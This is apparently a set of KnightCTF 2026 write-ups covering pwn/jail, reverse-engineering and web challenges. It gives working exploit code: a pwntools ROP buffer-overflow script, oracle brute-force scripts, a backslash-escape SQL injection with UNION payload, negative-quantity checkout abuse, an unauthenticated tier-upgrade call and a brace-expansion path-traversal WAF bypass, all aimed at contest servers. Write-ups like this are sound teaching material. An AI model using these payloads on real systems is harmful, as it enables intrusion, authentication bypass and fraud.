PWN & Jail challenge (100 pts) - A simple enrollment kiosk binary with a buffer overflow vulnerability.

#### Solution

**1. Binary Analysis**

The binary `ksa_kiosk` has the following protections:

* Full RELRO
* No Stack Canary
* NX Enabled
* No PIE (fixed addresses at 0x400000)

**2. Reverse Engineering**

Disassembling the binary revealed:

* **Flag function at `0x4013ac`**: Checks if the argument (`rdi`) equals the magic value `0x1337c0decafebeef`. If true, it opens `./flag.txt` and prints its contents.
* **Registration function at `0x401514`**:
  * Reads cadet name (0x20 bytes) into buffer at `rbp-0x30`
  * Reads enrollment notes (0xf0 = 240 bytes) into buffer at `rbp-0x70`
  * **Vulnerability**: The notes buffer at `rbp-0x70` only has 0x70 bytes before the base pointer, but reads 0xf0 bytes, causing a stack buffer overflow.
* **ROP gadget at `0x40150b`**: `pop rdi; ret`

**3. Exploit Development**

Calculate offset to return address:

* Notes buffer starts at `rbp - 0x70`
* Return address is at `rbp + 8`
* Offset = `0x70 + 8 = 0x78 = 120 bytes`

ROP chain:

1. Padding (120 bytes)
2. `pop rdi; ret` gadget (`0x40150b`)
3. Magic value (`0x1337c0decafebeef`)
4. Flag function address (`0x4013ac`)

**4. Exploit Code**

```python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

POP_RDI_RET = 0x40150b
FLAG_FUNC = 0x4013ac
MAGIC = 0x1337c0decafebeef
OFFSET = 120

p = remote('66.228.49.41', 5000)

p.recvuntil(b'>')
p.sendline(b'1')

p.recvuntil(b'Cadet name:')
p.recvuntil(b'>')
p.sendline(b'A')

p.recvuntil(b'Enrollment notes:')
p.recvuntil(b'>')

payload = b'B' * OFFSET
payload += p64(POP_RDI_RET)
payload += p64(MAGIC)
payload += p64(FLAG_FUNC)

p.sendline(payload)
print(p.recvall(timeout=5).decode(errors='ignore'))
```

**Flag:** `KCTF{_We3Lc0ME_TO_Knight_Squad_Academy_}`

### Knight Squad Academy Jail

#### Description

A Python jail challenge with the hint "I don't like words but I love chars." The service runs on `nc 66.228.49.41 1337`.

#### Solution

Connecting to the service reveals a restricted Python expression evaluator that blocks most names, functions, and AST node types.

**Exploration phase:**

Through testing, I discovered the jail allows:

* Integer and boolean arithmetic
* String literals (including hex escapes like `'\x41'`)
* Comparisons and bitwise operations

But blocks:

* Lists, tuples, dicts, subscripts, attributes
* Most variable names and functions (`print`, `open`, `chr`, `ord`, etc.)

**Finding the Oracle:**

Systematic testing of single-character function names revealed three available functions:

```
L(65)  -> "Oracle.L() takes 1 positional argument but 2 were given"
Q(65)  -> "Oracle.Q() missing 1 required positional argument: 'x'"
S(65)  -> "S(...) expects a string"
```

Testing revealed:

* `L()` returns 28 (the flag length)
* `S('test')` returns 'Nope.' (string comparison oracle)
* `Q(0, 75)` returns 0 (position/ASCII code oracle, returns 0 on match, -1 otherwise)

**Extracting the flag:**

Since `Q(i, x)` checks if the character at position `i` equals ASCII code `x`, I brute-forced each position:

```python
#!/usr/bin/env python3
import socket
import time

def brute_position(pos, charset):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect(('66.228.49.41', 1337))
    sock.recv(1024)

    queries = "\n".join([f"Q({pos}, {ord(c)})" for c in charset]) + "\n"
    sock.send(queries.encode())
    time.sleep(0.5)

    result = b""
    try:
        sock.settimeout(1)
        while True:
            data = sock.recv(4096)
            if not data:
                break
            result += data
    except socket.timeout:
        pass
    sock.close()

    lines = [l.strip().replace('> ', '').replace('>', '') for l in result.decode().split('\n')]
    for i, line in enumerate(lines):
        if line == '0' and i < len(charset):
            return charset[i]
    return None

charset = "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ"
flag = "KCTF{"
for pos in range(5, 27):
    c = brute_position(pos, charset)
    flag += c if c else "?"
flag += "}"
print(f"FLAG: {flag}")
```

The flag spells out "no words char" with underscores between each letter, matching the challenge hint.

**Flag:** `KCTF{_n_o_w_o_r_d_s_c_h_a_r}`

### Knight Squad Academy Jail 2

#### Challenge Info

* **Category:** Pwn/Jail
* **Server:** `nc 66.228.49.41 41567`
* **Hint:** "only a knight can help you"

#### Analysis

**Initial Exploration**

Connecting to the server shows a Python jail prompt:

```
== Knight Squad Academy Jail 2 ==
>
```

Unlike typical jails, almost every input returns `error`. The key insight was that the server has **delayed output buffering** - responses only appear after sending multiple lines.

**Finding the Oracle**

Through systematic testing, I discovered:

1. **Function call syntax works:** `X()` returns `"X() doesn't exist"` for most letters
2. **`knight()` is special:** Returns `error` instead of "doesn't exist"
3. **`knight(string)` is the oracle:** Takes a string argument

Testing string lengths revealed:

* Strings < 30 chars: `"too short"`
* Strings > 30 chars: `"too long"`
* Strings = 30 chars: Returns `"X Y"` format

**Oracle Semantics**

The oracle `knight(guess)` returns `"X Y"` where:

* **X** = Position of first mismatch (1-indexed)
* **Y** = Unknown secondary value (possibly distance metric)

Example responses:

```
knight('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') -> "1 0"  (mismatch at pos 1, not starting with K)
knight('KCTF{aaaaaaaaaaaaaaaaaaaaaaaa}') -> "7 0"  (mismatch at pos 7, KCTF{ correct)
knight('KCTF{_aaaaaaaaaaaaaaaaaaaaaaa}') -> "8 0"  (mismatch at pos 8, KCTF{_a correct)
```

**Flag Format**

* Total length: **30 characters**
* Format: `KCTF{` (5) + content (24) + `}` (1)

#### Solution Strategy

**Character-by-character brute force:**

1. Start with known prefix `KCTF{`
2. For each position 6-29:
   * Try each character in charset
   * If `mismatch_position > current_position`, that character is correct
   * Append to flag and continue

**Discovered Flag Characters**

Through manual testing:

* Position 6: `_`
* Position 7: `a`
* Position 8: `N`
* Position 9+: (continue with solver)

#### Solver

```python
#!/usr/bin/env python3
"""
Knight Squad Academy Jail 2 - Oracle Brute Force Solver

The jail has a knight() oracle function that compares input against the flag
and returns the position of the first mismatch.
"""

import socket
import time
import sys

HOST = '66.228.49.41'
PORT = 41567
FLAG_LEN = 30  # Total flag length including KCTF{...}
CHARSET = '_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'


def query_batch(prefix, charset_batch):
    """
    Send a batch of guesses and return the oracle responses.
    Returns list of (char, mismatch_position) tuples.
    """
    padding_len = FLAG_LEN - len(prefix) - 2  # -1 for test char, -1 for }

    print(f"    [.] Connecting...", flush=True)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(30)
    sock.connect((HOST, PORT))
    print(f"    [.] Sending {len(charset_batch)} queries...", flush=True)

    # Send init to trigger banner
    sock.send(b'init\n')
    time.sleep(0.2)

    # Send all test queries
    for c in charset_batch:
        guess = prefix + c + 'a' * padding_len + '}'
        sock.send(f"knight('{guess}')\n".encode())
        time.sleep(0.02)

    # Wait for responses
    time.sleep(2)

    # Receive all data
    data = b''
    sock.settimeout(2)
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            data += chunk
    except socket.timeout:
        pass
    except Exception as e:
        print(f"[!] Receive error: {e}", file=sys.stderr)

    sock.close()

    # Parse responses - strip prompt and keep lines that start with digits
    results = []
    cleaned = []
    for raw in data.decode().split('\n'):
        line = raw.strip()
        if line.startswith('> '):
            line = line[2:].strip()
        elif line.startswith('>'):
            line = line[1:].strip()
        if line:
            cleaned.append(line)

    lines = [l for l in cleaned if l[0].isdigit()]

    for i, c in enumerate(charset_batch):
        if i < len(lines):
            parts = lines[i].split()
            mismatch_pos = int(parts[0])
            results.append((c, mismatch_pos))

    return results


def find_char_at_position(prefix, target_pos):
    """Find the correct character at the given position."""
    # Process in batches to avoid overwhelming the server
    batch_size = 20

    for batch_start in range(0, len(CHARSET), batch_size):
        batch = CHARSET[batch_start:batch_start + batch_size]
        results = query_batch(prefix, batch)
        print(f"[*] Pos {target_pos}: tried {batch} -> {results}", flush=True)

        for char, mismatch_pos in results:
            if mismatch_pos > target_pos:
                return char, mismatch_pos

        time.sleep(0.3)

    return None, 0


def solve():
    """Main solver - brute force the flag character by character."""
    flag = 'KCTF{'  # Known prefix

    print(f"[*] Starting brute force from: {flag}", flush=True)
    print(f"[*] Target length: {FLAG_LEN}", flush=True)
    print(flush=True)

    for pos in range(6, FLAG_LEN):  # Positions 6-29 (inside braces)
        char, mismatch = find_char_at_position(flag, pos)

        if char:
            flag += char
            print(f"[+] Position {pos}: '{char}' (next mismatch at {mismatch}) -> {flag}")
        else:
            print(f"[-] Stuck at position {pos}")
            print(f"[!] Partial flag: {flag}}}")
            return flag + '}'

        time.sleep(0.5)

    flag += '}'
    print()
    print(f"[*] FLAG: {flag}")
    return flag


if __name__ == '__main__':
    solve()
```

#### Technical Notes

1. **Server buffering:** The server doesn't flush output immediately. Need to send multiple commands and wait \~2 seconds before receiving.
2. **Rate limiting:** Server may disconnect if too many requests are sent at once. The solver uses batches of 20 characters with delays.
3. **String formatting:** Use single quotes inside `knight()` to avoid escaping issues: `knight('KCTF{...}')`

#### Flag

```
KCTF{_aNOtHER_JAIL_Y0U_bRoKE_}
```

Message: "*aNOtHER\_JAIL\_Y0U\_bRoKE*" = "another jail you broke"

***

## reverse\_engineering

### E4sy P3asy

#### Description

Reverse the provided ELF to recover the correct `KCTF{...}` flag. The binary validates input using MD5 hashes and a salted per‑character check.

#### Solution

1. Unzip and inspect the binary, then locate the relevant logic:

* `objdump -s -j .rodata` shows many 32‑char hex strings (MD5 digests).
* `r2 -A` reveals the main logic at `0x1140` and a helper at `0x1660` that computes MD5 and formats it as hex.
* The program:
  * Strips newline.
  * Rejects non‑`KCTF{` formats (also has a `GoogleCTF{` decoy path).
  * Requires length 0x17 (23) for the flag body.
  * Uses a salt string built on the stack: `KnightCTF_2026_s@lt`.
  * For each index `i` and character `c` in the flag body, it computes `md5( "KnightCTF_2026_s@lt" + str(i) + c )` and compares to a table of MD5 hex strings stored in `.rodata` and referenced by `.data.rel.ro`.

2. Extract the MD5 table from `.data.rel.ro` and brute‑force each character by matching MD5 hashes. The following script reproduces the check and recovers the 23‑char body:

```python
import hashlib
salt = 'KnightCTF_2026_s@lt'
hashes = [
"781011edfb2127ee5ff82b06bb1d2959",
"4cf891e0ddadbcaae8e8c2dc8bb15ea0",
"d06d0cbe140d0a1de7410b0b888f22b4",
"d44c9a9b9f9d1c28d0904d6a2ee3e109",
"e20ab37bee9d2a1f9ca3d914b0e98f09",
"d0beea4ce1c12190db64d10a82b96ef8",
"ac87da74d381d253820bcf4e5f19fcea",
"ce3f3a34a04ba5e5142f5db272b6cb1f",
"13843aca227ef709694bbfe4e5a32203",
"ca19a4c4eb435cb44d74c1e589e51a10",
"19edec8e46bdf97e3018569c0a60baa3",
"972e078458ce3cb6e32f795ff4972718",
"071824f6039981e9c57725453e005beb",
"66cd6098426b0e69e30e7fa360310728",
"f78d152df5d277d0ab7d25fb7d1841f3",
"dba3a36431c4aaf593566f7421abaa22",
"8820bbdad85ebee06632c379231cfb6b",
"722bc7cde7d548b81c5996519e1b0f0f",
"c2862c390c830eb3c740ade576d64773",
"94da978fe383b341f9588f9bab246774",
"bea3bb724dbd1704cf45aea8e73c01e1",
"ade2289739760fa27fd4f7d4ffbc722d",
"3cd0538114fe416b32cdd814e2ee57b3",
]

charset = [chr(i) for i in range(32, 127)]
flag_body = []
for i, target in enumerate(hashes):
    for c in charset:
        h = hashlib.md5(f"{salt}{i}{c}".encode()).hexdigest()
        if h == target:
            flag_body.append(c)
            break

print(''.join(flag_body))
```

Output:

```
_L0TS_oF_bRuTE_foRCE_:P
```

3. Final flag: `KCTF{_L0TS_oF_bRuTE_foRCE_:P}`

### ReM3

#### Description

Reverse a stripped 64-bit ELF binary with multiple decoy flags to find the real flag. The binary validates input through a custom byte transformation algorithm.

#### Solution

1. **Initial Analysis**: The binary is a 500MB stripped ELF (padded with zeros). Running `strings` reveals several decoy flags:
   * `KCTF{fake_flag_for_reversers}`
   * `KCTF{hash_passes_but_fake!!!}`
   * `KCTF{str1ngs_lie_dont_trust!}`
2. **Disassembly of main logic** at `0x10c0`:
   * Reads 29-character input
   * **Check 1**: Direct `memcmp` with `KCTF{str1ngs_lie_dont_trust!}` → decoy
   * **Check 2**: FNV-1a hash comparison (`0xe76fa3daba5d6f3a`) → decoy
   * **Check 3**: Custom transformation + comparison with target bytes → SUCCESS
   * **Check 4**: Same transformation + different target → another decoy
3. **Transformation function at `0x14c0`**: A reversible byte cipher using:
   * Two 64-bit constants: `R10 = 0x2f910ed35ca71942`, `R9 = 0x6a124de908b17733`
   * Per-byte operations: XOR, ROL, ROR with position-dependent values
   * State variables (`edi`, `esi`, `r8d`) updated each iteration
4. **Key transformation steps** for each byte at index `rdx`:

   ```
   al = ((R10 >> ((rdx&7)*8)) + edi) ^ input[rdx]
   al = ROL8(al, (R9 >> ((rdx*8+0x10)&0x38)) & 0xff)
   eax += esi
   al ^= ((R9 >> ((rdx&7)*8)) ^ r8d) & 0xff
   al = ROR8(al, esi & 0xff)
   ```
5. **Extract target bytes** from `.rodata` for the SUCCESS path (at `0x2160`, `0x2150`, `0x2140`):

   ```
   dc 6b bb 4d fd 25 e4 7e c3 26 f5 72 ab 96 fc 8d 55 10 93 c1 fd 81 46 5b 7e 33 83 8f 2f
   ```
6. **Reverse the transformation** by inverting each operation in reverse order:
   * ROL to reverse ROR
   * XOR to reverse XOR
   * Subtract to reverse add
   * ROR to reverse ROL
   * XOR to recover original byte
7. **Solution script**:

```python
#!/usr/bin/env python3

def rol8(val, bits):
    bits = bits & 0x1f & 7
    return ((val << bits) | (val >> (8 - bits))) & 0xff

def ror8(val, bits):
    bits = bits & 0x1f & 7
    return ((val >> bits) | (val << (8 - bits))) & 0xff

R10 = 0x2f910ed35ca71942
R9 = 0x6a124de908b17733

def transform_reverse(target_bytes):
    target = bytearray(target_bytes)
    result = bytearray(29)
    r8d, edi, esi = 0, 0, 0xffffffc3

    for rdx in range(0x1d):
        ebx = (rdx & 7) << 3
        al = target[rdx]

        # Reverse ROR
        al = rol8(al, esi & 0xff)

        # Reverse XOR with ecx
        r14 = R9 >> ebx
        ecx_xor = (r14 & 0xffffffff) ^ r8d
        al_before_xor = al ^ (ecx_xor & 0xff)

        # Reverse add esi
        al_after_rol = (al_before_xor - (esi & 0xff)) & 0xff

        # Reverse ROL
        ecx_rot = (rdx * 8 + 0x10) & 0x38
        r14_rot = (R9 >> ecx_rot) & 0xff
        al_before_rol = ror8(al_after_rol, r14_rot)

        # Reverse XOR to get original
        rax = R10 >> ebx
        eax_add = ((rax & 0xffffffff) + edi) & 0xffffffff
        result[rdx] = al_before_rol ^ (eax_add & 0xff)

        # Update state (must match forward pass)
        edi = (edi + 0x1d) & 0xffffffff
        r8d_prev = r8d
        r8d = (r8d + 0x11) & 0xffffffff

        # Update esi using forward computation
        ecx_shift = (rdx * 8 + 0x18) & 0x38
        rbx = R10 >> ecx_shift
        ecx_new = ((rbx & 0xffffffff) ^ 0xffffffa5 + esi) & 0xffffffff

        # Recompute forward eax_final for esi update
        eax_f = ((rax & 0xffffffff) + (edi - 0x1d)) & 0xffffffff
        al_f = (eax_f & 0xff) ^ result[rdx]
        al_f = rol8(al_f, r14_rot)
        eax_f = (eax_f & 0xffffff00) | al_f
        eax_f = (eax_f + (esi & 0xffffffff)) & 0xffffffff
        eax_f ^= (r14 & 0xffffffff) ^ r8d_prev
        al_f = ror8(eax_f & 0xff, esi & 0xff)
        esi = ((eax_f & 0xffffff00) | al_f + ecx_new) & 0xffffffff

    return bytes(result)

expected = bytes([0xdc,0x6b,0xbb,0x4d,0xfd,0x25,0xe4,0x7e,0xc3,0x26,
                  0xf5,0x72,0xab,0x96,0xfc,0x8d,0x55,0x10,0x93,0xc1,
                  0xfd,0x81,0x46,0x5b,0x7e,0x33,0x83,0x8f,0x2f])
print(transform_reverse(expected).decode())
```

8. **Flag**: `KCTF{w3Lc0m3_T0_tHE_r3_w0rLD}`

### KrackM3

#### Description

A 64-bit stripped ELF binary with multiple validation paths. The challenge requires finding a 32-character flag in format `KCTF{...}` that passes a specific validation path (the "real flag" path) while failing others (decoy paths).

#### Solution

1. **Initial Analysis**: The binary is a 500MB file (padded with zeros). Key strings include:
   * `KCTF{` - flag prefix
   * `Success! Real flag accepted.` - real flag message
   * `Success! ...but you won't get points for this flag :P` - decoy message
2. **Format Check** at `0x401890`: Requires exactly 32 characters with format `KCTF{...26 chars...}`:
   * Positions 0-3: `KCTF`
   * Position 4: `{`
   * Position 31: `}`
3. **Validation Logic** at `0x401590`: The function implements a complex stateful cipher that:
   * Generates S-box and inverse S-box (256-byte lookup tables)
   * Generates a random table using xorshift64\*
   * For each input character, computes a transformed value using XOR, rotate, and S-box operations
   * Compares against **four different target tables** (paths 1-4)
4. **Key Insight - Multiple Paths**: The function checks 4 paths simultaneously:

   * Path 1 (`sp+7`): Real flag path - targets from `0x402280/402290/4022a0`
   * Paths 2-4 (`sp+4,5,6`): Decoy paths with slightly different targets

   For SUCCESS:

   * Path 1 must fully match (all XOR results = 0)
   * Paths 2-4 must have at least one mismatch each (to avoid decoy)
5. **Solution Approach**: Using GDB to trace the XOR operation at `0x401797` which computes `r13 ^ target` for path 1:
   * If XOR = 0, the position matches
   * The first 5 characters `KCTF{` are fixed and pass path 1
   * Need to brute-force positions 5-30 to find chars where XOR = 0
6. **Solver Script**:

```python
#!/usr/bin/env python3
import subprocess
import string

def get_path1_xors(flag_str, max_pos=32):
    """Get XOR results for path 1 check"""
    gdb_script = '''
set pagination off
set confirm off
b *0x401797
commands 1
silent
printf "XOR:%02x\\n", $eax & 0xff
c
end
run < /tmp/test.txt
quit
'''
    with open('/tmp/test.txt', 'w') as f:
        f.write(flag_str + '\n')
    with open('/tmp/gdb.txt', 'w') as f:
        f.write(gdb_script)

    result = subprocess.run(['gdb', '-batch', '-x', '/tmp/gdb.txt', './KrackM3.ks'],
                          capture_output=True, text=True, timeout=30)
    xors = []
    for line in result.stdout.split('\n'):
        if line.startswith('XOR:'):
            xors.append(int(line[4:], 16))
            if len(xors) >= max_pos:
                break
    return xors

def count_zeros(xors):
    count = 0
    for x in xors:
        if x == 0:
            count += 1
        else:
            break
    return count

# Brute force each position
charset = string.printable[:95]
flag = list('KCTF{' + 'A' * 26 + '}')

for pos in range(5, 31):
    for c in charset:
        test_flag = flag.copy()
        test_flag[pos] = c
        xors = get_path1_xors(''.join(test_flag), pos + 2)
        if count_zeros(xors) > pos:
            flag[pos] = c
            print(f"[{pos}] Found: '{c}'")
            break

print(f"Flag: {''.join(flag)}")
```

7. **Flag**: `KCTF{_R3_iS_FuNR1gHT?_EnjOy_r3_}`

### rem3\_again

#### Description

A 64-bit PIE ELF binary that validates a 38-character flag in format `KCTF{...}`. The binary implements multiple validation paths with decoy checks that lead to fake "success" messages, while only one path leads to the real flag acceptance.

#### Solution

1. **Initial Analysis**: The binary contains key strings:
   * `Success! Real flag accepted.` - real flag message
   * `Success! ...but you won't get points for this flag :P` - decoy message
2. **Validation Flow**: The binary checks the input against multiple target byte arrays:

   * `chk_first(x_g)` - decoy check (must NOT match)
   * `chk_first(x_f)` - decoy check (must NOT match)
   * `chk_first(x_d)` - decoy check (must NOT match)
   * `eq(input, t(x_r))` - real check (must match)

   For the real success path:

   * All three decoy checks must return 0 (no match)
   * The final `eq` comparison must return 1 (match)
3. **Key Functions**:
   * `p()` at 0x13e0: Generates S-box and inverse S-box (256-byte lookup tables)
   * `cat3()` at 0x1540: Concatenates three byte arrays into 38-byte target
   * `t()` at 0x1570: Transforms target bytes using inverse S-box
   * `eq()` at 0x16b0: Compares 38 bytes for equality
4. **Solution Approach**: The transformation `t()` converts the target constants `x_r0`, `x_r1`, `x_r2` into the expected input. By breaking at address 0x1213 (just before the final `eq` call), we can read the transformed target directly from memory.
5. **Solver Script**:

```python
#!/usr/bin/env python3
import subprocess

gdb_script = '''
set pagination off
set confirm off
set debuginfod enabled off
file ./rem3_again.ks
# Break at main to get base address
b main
run < /tmp/test.txt
# Calculate base address (PIE binary)
set $base = $rip - 0x1080
# Break at 0x1213 - just before final eq call in x_r path
b *($base + 0x1213)
c
# At this point, $rsp+8 contains pointer to transformed x_r target
set $target = *(unsigned long long *)($rsp + 8)
printf "TARGET:"
set $i = 0
while $i < 0x26
  printf "%02x", *(unsigned char *)($target + $i)
  set $i = $i + 1
end
printf "\\n"
quit
'''

# Need 38-char input to reach final check (passes length check)
test_input = "KCTF{" + "A" * 32 + "}"

with open('/tmp/test.txt', 'w') as f:
    f.write(test_input + '\n')

with open('/tmp/gdb.txt', 'w') as f:
    f.write(gdb_script)

result = subprocess.run(['gdb', '-batch', '-x', '/tmp/gdb.txt'],
                       capture_output=True, text=True, timeout=30)

for line in result.stdout.split('\n'):
    if 'TARGET:' in line:
        hex_str = line.split('TARGET:')[1].strip()
        if hex_str:
            flag_bytes = bytes.fromhex(hex_str)
            print(f"Flag: {flag_bytes.decode()}")
        break
```

6. **Flag**: `KCTF{aN0Th3r_r3_I_h0PE_y0U_eNj0YED_IT}`

***

## webapi

### Admin Panel

#### Description

Login and get the flag.

**URL:** <http://50.116.19.213:3000/> **Category:** WEB/API **Points:** 100

#### Solution

**Vulnerability Discovery**

The login form at `/login` accepts `username` and `password` via POST. Testing revealed:

1. Single quotes (`'`) are blocked with "Not injectable" response
2. The backslash character (`\`) is NOT filtered

Using a backslash at the end of the username escapes the closing quote in the SQL query, allowing injection through the password field.

**SQL Injection Technique**

The original query is likely:

```sql
SELECT username, password FROM users WHERE username='X' AND password='Y'
```

With input `username=\` and `password= OR 1=1 #`, the query becomes:

```sql
SELECT username, password FROM users WHERE username='\' AND password=' OR 1=1 #'
```

The `\'` escapes the quote, making `\' AND password=` a literal string. The `OR 1=1` bypasses authentication, and `#` comments out the rest.

**Exploitation**

Testing UNION injection revealed the query returns 2 columns. The first column is displayed as the username on the dashboard.

**Final Payload:**

```
username: \
password:  UNION SELECT value,1 FROM flag #
```

This injects:

```sql
SELECT username, password FROM users WHERE username='\' AND password=' UNION SELECT value,1 FROM flag #'
```

The UNION query retrieves the flag from the `flag` table's `value` column and displays it as the username.

**Exploit Code**

```python
import requests

URL = 'http://50.116.19.213:3000/login'

r = requests.post(URL, data={
    'username': '\\',
    'password': ' UNION SELECT value,1 FROM flag #'
}, allow_redirects=True)

print(r.text)
```

Or via curl:

```bash
curl -s -L -X POST 'http://50.116.19.213:3000/login' \
  -d 'username=\&password= UNION SELECT value,1 FROM flag #'
```

#### Flag

```
KCTF{0c259a70a089442a7e622d02bb5d911f}
```

### Knight Shop Again

#### Description

A modern e-commerce platform for medieval equipment. The challenge involves a web shop built with Express.js backend and React frontend. Users start with a balance of 50, but the "Legendary Excalibur" item costs 199.99 - making it unaffordable through normal means.

**Target:** <http://23.239.26.112:8087/>

#### Solution

1. **Reconnaissance**: Analyzed the React frontend JavaScript to identify API endpoints:
   * `/api/auth/register` - Register new user
   * `/api/auth/login` - Login
   * `/api/cart` - Add items to cart (POST), view cart (GET)
   * `/api/checkout` - Complete purchase
2. **Vulnerability Discovery**: The cart API endpoint accepts a `quantity` parameter from the client without proper validation. When adding items to cart:

   ```javascript
   fetch("/api/cart", {
     method: "POST",
     headers: {"Content-Type": "application/json"},
     body: JSON.stringify({productId: 6, quantity: 1, price: 199.99})
   })
   ```
3. **Exploitation**: The server accepts **negative quantities**. When quantity is -1, the total becomes:

   ```
   total = price * quantity = 199.99 * (-1) = -199.99
   ```

   This negative total is subtracted from the balance, effectively **adding money** to the account.
4. **Exploit Steps**:

   ```bash
   # Register a new user
   curl -s -X POST http://23.239.26.112:8087/api/auth/register \
     -H "Content-Type: application/json" \
     -d '{"username":"exploit_user","password":"pass123"}' \
     -c /tmp/cookies.txt

   # Add Excalibur with negative quantity
   curl -s -X POST http://23.239.26.112:8087/api/cart \
     -H "Content-Type: application/json" \
     -d '{"productId":6,"quantity":-1,"price":199.99}' \
     -b /tmp/cookies.txt

   # Checkout - negative total adds money to balance
   curl -s -X POST http://23.239.26.112:8087/api/checkout \
     -H "Content-Type: application/json" \
     -d '{"discountCode":"","discountCount":0}' \
     -b /tmp/cookies.txt
   ```
5. **Result**: The checkout succeeds with a negative total of -199.99, increasing the balance to 249.99 and revealing the flag.

#### Flag

```
KCTF{kn1ght_c0up0n_m4st3r_2026}
```

#### Vulnerability Type

**Improper Input Validation** - The server fails to validate that the quantity parameter is a positive integer, allowing negative values that result in price manipulation.

### KnightCloud

#### Description

A SaaS platform with premium features locked behind a paywall. The goal is to access the premium analytics dashboard without paying.

#### Solution

The vulnerability is an exposed internal API endpoint that allows arbitrary user tier upgrades without authentication.

**Step 1: Analyze the JavaScript bundle**

Fetching the main JavaScript file (`/assets/index-DH6mLR_s.js`) reveals internal API configuration:

```javascript
N={
  migrationEndpoints:{
    userTier:"/internal/v1/migrate/user-tier",
    userData:"/internal/v1/migrate/user-data",
    billing:"/internal/v2/migrate/billing"
  },
  syncEndpoints:{
    users:"/internal/sync/users",
    subscriptions:"/internal/sync/subscriptions"
  }
}
```

Additionally, a global `__KC_INTERNAL__` object exposes an example showing how the endpoint works:

```javascript
examples:{
  upgradeUserExample:{
    endpoint:"/api/internal/v1/migrate/user-tier",
    method:"POST",
    body:{u:"user-uid-here",t:"premium"},
    validTiers:["free","premium","enterprise"]
  }
}
```

**Step 2: Register an account**

```bash
curl -X POST http://23.239.26.112:8091/api/auth/register \
  -H "Content-Type: application/json" \
  -d '{"email":"test@test.com","password":"password123","fullName":"Test User"}'
```

Response contains the user's UID and JWT token:

```json
{
  "token": "eyJhbG...",
  "user": {
    "uid": "c74dd5c5-60d5-45ae-92ef-7e2874fdc563",
    "subscriptionTier": "free"
  }
}
```

**Step 3: Exploit the internal migration endpoint**

The internal endpoint `/api/internal/v1/migrate/user-tier` is accessible without authentication and allows upgrading any user to premium:

```bash
curl -X POST http://23.239.26.112:8091/api/internal/v1/migrate/user-tier \
  -H "Content-Type: application/json" \
  -d '{"u":"c74dd5c5-60d5-45ae-92ef-7e2874fdc563","t":"premium"}'
```

Response:

```json
{"success":true,"uid":"c74dd5c5-60d5-45ae-92ef-7e2874fdc563","tier":"premium"}
```

**Step 4: Access premium analytics**

```bash
curl http://23.239.26.112:8091/api/premium/analytics \
  -H "Authorization: Bearer <JWT_TOKEN>"
```

Response contains the flag:

```json
{
  "success": true,
  "analytics": {
    "totalRequests": 15847,
    "flag": "KCTF{Pr1v1l3g3_3sc4l4t10n_1s_fun}"
  }
}
```

**Flag:** `KCTF{Pr1v1l3g3_3sc4l4t10n_1s_fun}`

#### Vulnerability Summary

* **Type:** Broken Access Control / Privilege Escalation
* **Issue:** Internal API endpoint exposed without authentication
* **Impact:** Any user can upgrade their account tier to access premium features
* **Fix:** Restrict internal endpoints to internal networks or require admin authentication

### WaF

#### Description

**Category:** WEB/API **Points:** 190 **Solves:** 63

> You can't get the /flag.txt ever.
>
> Link: <http://45.56.66.96:7789/>

#### Solution

The challenge presents a Flask web application with a WAF (Web Application Firewall) that blocks path traversal attempts.

**Source Code Hint (in HTML comment):**

```python
@app.after_request
def index(filename: str = "index.html"):
    if ".." in filename or "%" in filename:
        return "No no not like that :("
```

The WAF performs a simple substring check: if the filename contains `..` or `%`, access is denied.

**Key Observations:**

1. The challenge name "WaF" has a lowercase 'a', matching the `{a}` format string in the HTML
2. The author hint mentioned "url globbing" - referring to brace expansion patterns
3. The WAF checks for the literal string `..` before any pattern expansion

**The Bypass:**

The trick is to use URL globbing/brace expansion syntax `{.}` which expands to `.`. By using `{.}{.}`, we construct `..` AFTER the WAF check:

* Raw path: `{.}{.}/{.}{.}/flag.txt`
* WAF sees: `{.}{.}/{.}{.}/flag.txt` (no literal `..` - PASS)
* After expansion: `../../flag.txt` (path traversal achieved)

**Exploit:**

```bash
curl -s 'http://45.56.66.96:7789/%7B.%7D%7B.%7D/%7B.%7D%7B.%7D/flag.txt'
```

URL decoded: `/{.}{.}/{.}{.}/flag.txt`

**Flag:** `KCTF{7fdbbcd6c3cee0ae65c5ca327c14a25f6e473d1c}`

#### Key Takeaway

The vulnerability is a classic check-vs-use mismatch: the WAF checks for `..` on the raw URL pattern, but the file system operation happens after brace/glob expansion. The `{.}` pattern is expanded to `.` by Python's glob or brace expansion mechanism, allowing `{.}{.}` to become `..` and bypass the naive substring filter.
